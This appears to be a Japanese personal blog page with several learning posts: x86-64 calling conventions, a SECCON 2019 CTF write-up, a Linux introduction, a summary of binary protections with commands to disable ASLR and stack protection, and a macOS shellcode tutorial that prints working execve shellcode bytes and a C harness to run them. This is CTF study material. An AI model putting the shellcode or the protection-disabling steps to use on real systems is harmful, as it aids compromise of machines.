コンピュータについて学ぶブログ

コンピュータ関連以外のことも書きます

アセンブリでの関数呼び出しの備忘録

CTFのPwnについて勉強している時に、関数呼び出時の処理をよく忘れてしまうので一度まとめてみます。

関数呼び出しの手順

関数を呼び出すときは以下の処理が行われます

  1. 呼び出し元のアドレスを保存し、関数のアドレスへ移動(call)
  2. 関数の処理
  3. スタック上のアドレスの開放(leave)
  4. 呼び出し元へ帰る(ret)

call

call命令は関数を呼び出すための命令で、次の処理が行われます。

  • call命令の次の命令のアドレスをスタックにpushする
  • 関数のアドレスへジャンプする

call命令を実行するとスタックは次のようになります。

low     +--------------------+
address |                    |
        +--------------------+
        |                    |
        +--------------------+
high    | callの次のアドレス   |
address +--------------------+

関数の最初の処理

呼び出された関数では最初に次の処理が行われます。

  • rbpをスタックにpush
  • rbpにrspをコピー

これは、関数の処理が全て終わったときにスタックの状態を復元できるようにするために行われます。

この時点でのスタックの様子は次のようになります。

low     +--------------------+
address |                    |
        +--------------------+
        |        rbp         |
        +--------------------+
high    |  callの次のアドレス  |
address +--------------------+

この処理は次のように表されます。

push rbp
mov rbp, rsp

関数の処理

rspとrbpの退避が終わってから関数の処理が始まります。

関数のローカル変数はrbpを基準として、rbpより低いアドレスが使われます。

この時点でのスタックの様子は次のようになります。

low     +--------------------+
address |     ローカル変数     |
        +--------------------+
        |        rbp         |
        +--------------------+
high    |  callの次のアドレス  |
address +--------------------+

leave

leaveはスタックの開放を行う命令で、次の処理が行われます。

  • rspにrbpの値をコピーしrspを復元
  • スタックに保存したrbpのアドレスからrbpを復元

leaveは次のようにあらわすこともできます

mov rsp, rbp
pop rbp

ret

ret命令はスタックの呼び出し元アドレスをpopし、そのアドレスへ戻ります。

retはアセンブリで次のようにあらわすことができます

pop rip

参考リンク

SECCON 2019 Online CTF に参加して

SECCON Online CTF 2019に参加しました。

reversingの問題が解けたらと思って参加したのですが、解けませんでした。 解けたのは「coffee_break」と「Beeeeeeeeeer」の二つだけでした。

一応、自分のwrite upを公開します。

coffee_break

encrypt.pyというPythonのソースと暗号文が置かれていました。

encrypt.pyの中身を見てみるとencryptという関数とAESで暗号化していることがわかりました。

AESで暗号化している部分はもう秘密鍵がわかっているので復号してみると

'jff~|Ox9'34G9#g52F?489>B%|)173~)%8.'jff~|Q\x05\x05\x05\x05\x05

という文字列になりました。

最後の方の連続した\x05はパディングを暗号化したものだと思われます。

残るは、encrypt関数だけです。

encrypt関数は鍵であるkeyと平文であるtextを与えると暗号化された文字列を出力するという関数です。

encrypt関数は具体的に書くと以下の動作を行なっていました。

  1. i番目の平文のasciiコードから0x20を引く
  2. i番目の鍵(鍵の最後まで行ったら最初から)のasciiコードから0x20を引く
  3. 1と2で求まった値を足し、0x7e - 0x20で割った余りを求め、0x20を足す
  4. 3で求まったasciiコードを文字に直す

要するに、平文と鍵のasciiコードを足し合わせ、asciiコードの33番から126番の範囲に収めています。

3番の操作を少し変えて、1と2を引くようにすれば簡単に復号することができます。

最終的に以下のコードで解きました。

from Crypto.Cipher import AES
import base64

def decrypt(key, text):
    s = ''
    for i in range(len(text)):
         c = (((ord(text[i]) - 0x20) - (ord(key[i % len(key)]) - 0x20)) % (0x7e - 0x20 + 1)) + 0x20
         s += c

key1 = "SECCON"
key2 = "seccon2019"
cipher_text = base64.b64decode("FyRyZNBO2MG6ncd3hEkC/yeYKUseI/CxYoZiIeV2fe/Jmtwx+WbWmU1gtMX9m905")

secret_key = key2 + chr(0x00) * (16 - len(key2) % 16) 
crypto = AES.new(secret_key, AES.MODE_ECB)
cipher = crypto.decrypt(cipher_text) # <= 'jff~|Ox9'34G9#g52F?489>B%|)173~)%8.'jff~|Q\x05\x05\x05\x05\x05

print("Flag: {}".format(decrypt(key1, cipher))
$ python solve.py
Flag: SECCON{Success_Decryption_Yeah_Yeah_SECCON}?AA56

Beeeeeeeeeer

難読化されたシェルスクリプトが書かれたファイルが渡されました。

実行してみるとLet's decording!(≧∀≦*)という文字が表示され、何か入力すると、今度はランダムにビープ音が流れHow many beeps?という表示され何回なったか聞かれました。それに正解するとEnter the passwordと表示しパスワードを求められたので、解析することにしました。

スクリプトを読んでみると何やら長い文字列をbase64でデコードし、実行している部分があったので、実際にデコードしてみました。

デコードすると、また難読化されたシェルスクリプトが出てきました。Unicodeや16進数、8進数に変換された部分や、base64エンコードされた部分があったのでそれを元に戻すと、どうやらHow many beeps?の部分だったようです。

How many beeps?の部分は以下のような処理を行なっていました

  1. ビープ音を流す
  2. ランダムな時間スリープをかける
  3. 回数を聞き、間違ったらexit
  4. これを1~10回ランダムに繰り返す

上の処理を行なった後、3回ビープ音を流して何回流れたかを聞いていました。そして、そこで入力された値をnという環境変数に入れ、そのnを使ってAES暗号で暗号化されたシェルスクリプトを復号し、実行していました。

どんなスクリプトが実行されているのか気になったので、echo <base64でエンコードされた暗号文> | base64 -d | <復号処理> | bash| bashだけを消すと、実行されずにシェルスクリプトが見えました。

実際に以下のスクリプトが書かれていました。

__=$(. 2>&1);__=${__##*.};${__:$(($...(長いので省略)...((____=____^____||++____))}!&&printf "\n\033[?7l%1024s" " "&&echo SECCON{$S1$n$_____};echo -e '\033[?7h';"

echo SECCON{$S1$n$_____}という気になる記述が見えるのですが$____という変数の値だけわかりません。($S1はスクリプトの最初の方でhogefugaに設定されており、$nは先ほどの解読結果から3回とわかっています)

シェルスクリプトの難読化について調べていると次のサイトが見つかりました。

www.ryotosaito.com

なんとなくわかったのですが、全部解読できる気がしなかったので適当に${...}ごとにechoしてやるとpassword is bashという文字列が現れました。なので、それを入力して終わりだと思ったのですがフラグが表示されませんでした。

何故だろうと思ってみてみるとprintf "\n\033[?7l%1024sで表示を消していると気づいたので、そこを消すとSECCON{hogefuga3bash}と表示されました。

感想

SECCON Online CTFに参加して、改めて自分の力不足を思い知りました。

簡単な2問だけしか解けなかったのは残念だったけれど、それでも問題を解けたのでうれしかったです。

私は、reversing問やpwn問を解けるようになりたいのでそこをもっと勉強していこうと思いました。

あと、今回一人だったので次参加するときは誰かとチームを組んで参加したいです。

Linux入門 #1 Linuxとは何か?

今回は、Linuxとはどういうものなのかということを大雑把に紹介したいと思います。

Linuxとは

Linuxという言葉は、狭義にはLinuxカーネルというLinuxの中核部分のことを指し、広義にはLinuxカーネルを用いたOSのことを指します。

Linuxは1991年にリーナス・トーバルズ氏によって開発され、そこから現在に至るまで発展してきました。

Linuxのホームページによると、Linuxスマートフォンから車、スーパーコンピューター、家電製品、家庭用PC、企業のサービスなどあらゆる場所で使われているOSだそうです。 身近な例でいうと、スマートフォンのOSのAndroidLinuxをベースにしたOSです。

Linuxの大きな特徴はオープンソースである点です。Linuxカーネルソースコードが公開されています。これが、WindowsMacOSなどといったOSとの大きな違いです。 また、無料で使うことができるのですぐに仮想環境やパソコンにインストールして簡単に使い始めたりすることができます。

Linux ディストリビューションとは

Linuxについて調べていると、Linuxディストリビューションという言葉がよく出てきます。

まず、ディストリビューションとはどういう意味でしょうか? 辞書で調べるとディストリビューション(distribution)という言葉には「配布」「流通」「分配」と意味があると書いてありました。

Linuxディストリビューションとは、Linuxカーネルに一般ユーザーが利用しやすいよう様々なソフトウェアを追加したものです。 Linuxディストリビューションと一言で言っても、様々種類のLinuxディストリビューションが存在し、それぞれ付属するソフトウェアや見た目が異なります。 また、Linuxディストリビューションには「Debian系」「RedHat系」という2つの代表的な系列があります。

Debian

Debian GNU/LinuxというLinuxディストリビューションとその派生のLinuxディストリビューションのことを指します。

RedHat

RedHat社が開発したRed Hat Linuxや開発、販売しているRHEL (Red Hat Enterprise Linux)というLinuxディストリビューションとその派生のLinuxディストリビューションのことを指します。

有名なLinuxディストリビューションをいくつか紹介します。

Ubuntu

www.ubuntulinux.jp

Debian系列のLinuxディストリビューションです。

Ubuntuは世界中で2000万人を超えるユーザーが利用している*1Linuxディストリビューションです。Ubuntuは「ウブントゥ」と読むらしいのですが、私は、個人的に呼びやすいと思う「ウブンツ」と呼んでいます。

Linux mint

linuxmint-jp.net

Debian系列のLinuxディストリビューションです。

Linux mintUbuntuの次に広く使われているLinuxディストリビューションです。最新で、洗練されて、簡単に使える、強力なオペレーティングシステムを製作することを目的としています。

CentOS

centos.org

RedHat系列のLinuxディストリビューションです。

Red Hat社のRHELと機能的に互換性があることを目指したLinuxディストリビューションです。CentOSプロジェクトという有志のボランティアが開発しており、サーバーやデスクトップ環境としてよく使われています。RHELは有償ですが、CentOSは無償で使うことができる点も特徴です。

Kali Linux

https://www.kali.org/

Debian系列のLinuxディストリビューションです。

このLinuxディストリビューションは少し変わっていて、ペネトレーションテストに特化しています。ペネトレーションテストとは、システムに実際に侵入を試みることで脆弱性が存在するかテストするというものです。

ほかにも様々なLinuxディストリビューションがあるので、興味があれば調べてみると面白いと思います。

まとめ

今回は、Linuxとは何かということやLinuxディストリビューションについてまとめました。次回はLinuxのユーザーやグループなどについてまとめていきたいと思います。

参考リンク

*1:Ubuntuのホームページ(Homepage | Ubuntu Japanese Team)より

実行ファイルのセキュリティ機構についてまとめてみる

CTFのpwnについて調べているとよくセキュリティ機構の用語が出てきます。しかし、それぞれのセキュリティ機構がどんな役割を果たすのかをよく忘れてしまいます。なので、一度まとめてみました。

実行ファイルのセキュリティ機構について、こちらの書籍を参考にしました。

セキュリティコンテストチャレンジブック -CTFで学ぼう! 情報を守るための戦い方-

セキュリティコンテストチャレンジブック -CTFで学ぼう! 情報を守るための戦い方-

セキュリティ機構の調べ方

https://github.com/slimm609/checksec.sh

checksecというものがあります。checksecはセキュリティ機構をわかりやすい形式で表示してくれるシェルスクリプトです。

使い方

以下のコマンドを実行すると、ダウンロードすることができます

git clone https://github.com/slimm609/checksec.sh

ダウンロードが完了すると、コマンドを実行した階層にchecksec.shというディレクトリができます。 その中に移動すると、checksecというファイルがあります。これをセキュリティ機構を調べたいファイルがある場所にコピーして、

./checksec --file=<file name>

を実行すると、セキュリティ機構が表示されます。

RELRO

RELRO(RELocation Read Only)はメモリ上のデータのどの部分に対してReadOnly属性を付けるか決定する役割を果たします。

RELROには以下の3種類が存在します。

  • No RELRO
  • Partial RELRO
  • Full RELRO

No RELROの時とPartial RELROのときは、GOT領域が書き込み可能なためGOT overwrite攻撃が成功しますが、Full RERLOのときはGOT領域を読み込み専用にしてしまうためGOT overwrite攻撃が成功しません。

GOT(Global Offset Table)は、共有ライブラリの関数のアドレスが保存された領域です。

SSP

SSP(Stack Smashing Protection)はバッファオーバーフローを防ぐための役割を果たします。

SSPでは、関数呼び出し時にリターンアドレスとローカル変数の間にCanary(カナリア)と呼ばれる値をスタックに挿入し、関数の終了時に値が書き換えられているかどうか判定することで、スタックオーバーフローを検出します。

SSPが有効になっている時と無効になっている時の関数呼び出しを例に見てみましょう。

下の図は、SSPが無効になっている時のスタックの様子です。

High    +--------------------+
Address |                    |
   ↑    +--------------------+
        | 引数                |
        +--------------------+
        | リターンアドレス      |
        +--------------------+
        | フレームアドレス      |
        +--------------------+
        | ローカル変数         |
   ↓    +--------------------+
Low     | buffer             |
Address +--------------------+

このスタックでは、bufferがバッファオーバーフローを起こしても検出することができません。

一方、下の図はSSPが有効になっている時のスタックの様子です。

High    +--------------------+
Address |                    |
   ↑    +--------------------+
        | 引数                |
        +--------------------+
        | リターンアドレス      |
        +--------------------+
        | フレームアドレス      |
        +--------------------+
        | Canary             |
        +--------------------+
        | ローカル変数         |
   ↓    +--------------------+
Low     | buffer             |
Address +--------------------+

SSPが有効になっているときは、Canaryがフレームアドレスとローカル変数のアドレスの間にあることがわかります。この状態でbufferという変数がバッファオーバーフローを起こし、Canaryの値を変えてしまうと、プログラムが強制終了します。

gccではSSPはデフォルトで有効になっています。-fno-stack-protectorオプションをコンパイル時に指定すると、SSPを無効にすることができます。

NX bit

NX bit(No eXecute bit)はメモリ領域に置かれたデータをプログラムとして実行できなくする役割を果たします。WindowsではDEP(Data Execution Prevention)と呼ばれます。

NX bitが有効になっているとシェルコードを使って攻撃するのが困難になります。

gccではデフォルトでNX bitが有効になっています。無効にするときは、gccでは-z execstackというオプションを付けてコンパイルすると、NX bitを無効にすることができます。

ASLR

ASLR(Address Space Layout Randomize)は日本語に訳すと「アドレス空間のランダム配置」という意味になります。

ASLRが有効になっていると、実行ファイルのスタックやヒープ、ライブラリをメモリに配置するときに、アドレスの一部をランダムに配置するようになります。これによって、攻撃者がアドレスを推測するのを困難にする役割を果たします。

スタック領域やヒープ領域、共有ライブラリのアドレスは、

cat /proc/<process ID>/maps

で確認することができます。なので、起動したら入力を受け付けて、それを表示するだけのプログラムを作成し、実際に起動するたびにアドレスが変わっているか確認してみました。

以下はASLRが無効になっているときのスタック領域とヒープ領域のアドレスです。ASLRが無効になっているときは常に以下のアドレスを出力しました。

555555559000-55555557a000 [heap]
7ffffffde000-7ffffffff000 [stack]

cat /proc/<process ID>/mapsを実行すると、本来はアドレスだけではなくパーミッションなども一緒に出力されるのですが、今回注目するのはアドレスだけなのでアドレスの部分だけ抜き出しています。

ASLRを有効にすると次のようになりました。

1回目
562ef2635000-562ef2656000 [heap]
7ffdd3881000-7ffdd38a2000 [stack]

2回目
55d1f63f6000-55d1f6417000 [heap]
7fff6e4e2000-7fff6e503000 [stack]

1回目と2回目で異なるアドレスが表示されていることが分かります。

Ubuntuでは以下のコマンドを入力するとASLRを無効にすることができます。

sudo sysctl kernel.randomize_va_space=0

ALSRを有効に戻すときは以下のコマンドを実行します。

sudo sysctl kernel.randomize_va_space=2

PIE

PIE(Position Independent Executable)は実行コード内のアドレス参照をすべて相対アドレスで行うことで、実行ファイルがメモリ上のどの位置に置かれても、正常に動作実行できるように コンパイルされた実行ファイルのことを指します。

PIEが有効になっていると、特定のアドレスを突く攻撃を成功させることが困難になります。

参考リンク

間違った情報があれば修正します。

MacOS用のシェルコード を書いてみた

一度シェルコード を書いてみたいと前から思っていたので、今回書いてみようと思います。

Linux用のシェルコードはこれまでに何度か見たことがあり、MacOS用に書くならどう書くのだろうと気になったので、今回はMacOS用のシェルコードを書いてみます。

実行環境

  • macOS Catalina v10.15
  • nasm 2.14.02
  • gcc 4.2.1

アセンブリコードの作成

まずは、シェルを起動するアセンブリを書きます。プログラムの実行はexecveを使うことで行えるので、これを使ってシェルを起動します。

; shellcode.asm

  global _main
  global start
  section .text

start:
  ; execve("/bin//sh", {"/bin//sh", NULL}, NULL)
  ; => rax: 0x200003B
  ;    rdi: "/bin//sh\0"
  ;    rsi: {"/bin//sh\0", 0}
  ;    rdx: NULL
  xor rdx, rdx                ; clear rdx
  push rdx
  mov rax, 0x68732f2f6e69622f ; /bin//sh
  push rax
  mov rdi, rsp                ; rdi = "/bin//sh\0"
  push rdx
  push rdi
  mov rsi, rsp                ; rsi = {"/bin//sh\0", NULL}
  mov rax, 0x1ffffff          ; rax = 0x200003b - 0x3c = 0x1ffffff
  add rax, 0x3c               ; rax = 0x200003b
  syscall

このアセンブリは以下のことを行っています。

  1. rdx同士の排他的論理和をとって、rdxを0にします。
  2. 0と/bin//shという文字をスタックにプッシュします。
  3. rdiにスタックの先頭のアドレスをコピーします。これにより、rdiは/bin//shという文字列になります。
  4. 0とrdiをスタックにプッシュします。
  5. rsiにスタックの先頭のアドレスをコピーします。これにより、rsiは{"/bin//sh", NULL}という配列になります。
  6. raxにexecveのシステムコール番号である0x20003Bをセットします。
  7. システムコールを行います。

下の図はスタックの様子を表したものです。アドレスは実際のものと異なりますが、状態は同じです。

f:id:miso_24:20191013023901j:plain
スタックの様子

システムコール番号を直接raxに入れるとNULL文字が入ってしまうので、あえて0x1FFFFFFを代入し0x3Cを足すことで、目的の0x200003Bをraxにセットしています。

シェルコードの作成

nasmでアセンブリからオブジェクトファイルを作成し、リンクして実行ファイルを作成します。

$ nasm -f macho64 shellcode.asm
$ ld -macosx_version_min shellcode.o

リンクしてできた実行ファイルをobjdumpを使ってディスアセンブルします。

$ objdump -d ./a.out

./a.out:    file format Mach-O 64-bit x86-64

Disassembly of section __TEXT,__text:
__text:
    1fde:   48 31 d2    xorq    %rdx, %rdx
    1fe1:   52  pushq   %rdx
    1fe2:   48 b8 2f 62 69 6e 2f 2f 73 68   movabsq $7526411283028599343, %rax
    1fec:   50  pushq   %rax
    1fed:   48 89 e7    movq    %rsp, %rdi
    1ff0:   52  pushq   %rdx
    1ff1:   57  pushq   %rdi
    1ff2:   48 89 e6    movq    %rsp, %rsi
    1ff5:   b8 ff ff ff 01  movl    $33554431, %eax
    1ffa:   48 83 c0 3c     addq    $60, %rax
    1ffe:   0f 05   syscall

start:
    1fde:   48 31 d2    xorq    %rdx, %rdx
    1fe1:   52  pushq   %rdx
    1fe2:   48 b8 2f 62 69 6e 2f 2f 73 68   movabsq $7526411283028599343, %rax
    1fec:   50  pushq   %rax
    1fed:   48 89 e7    movq    %rsp, %rdi
    1ff0:   52  pushq   %rdx
    1ff1:   57  pushq   %rdi
    1ff2:   48 89 e6    movq    %rsp, %rsi
    1ff5:   b8 ff ff ff 01  movl    $33554431, %eax
    1ffa:   48 83 c0 3c     addq    $60, %rax
    1ffe:   0f 05   syscall

ちゃんと機械語になっていることがわかります。あとは、機械語の部分を取り出せばシェルコード の完成です。 できたシェルコードは34バイトでした。

\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\xb8\xff\xff\xff\x01\x48\x83\xc0\x3c\x0f\x05

私は、objdumpの結果から手動で上のシェルコードの形にしたのですが、もっといい方法があると思います。

シェルコードを実行してみる

__attribute__((section("__TEXT,__text")))
char shellcode[] = "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\xb8\xff\xff\xff\x01\x48\x83\xc0\x3c\x0f\x05";

int main() {
  (*(void (*)())shellcode)();
}

1行目の__attribute__((section("__TEXT,__text")))でシェルコード をtextセクションに配置して、実行できるようにしています。これがないとbus errorが発生しました。

gccコンパイルし、生成された実行ファイルを実行すると見事にシェルが起動します。

$ gcc main.c
$ ./a.out
sh-3.2$

まとめ

MacOS用とは言うもののシステムコール番号以外の部分はLinuxと同じだったので、あまり書くのに苦労しませんでした。 今回はシェルを起動するだけだったけれど、もっと多くのことができるのでいろいろ試したいと思いました。

参考リンク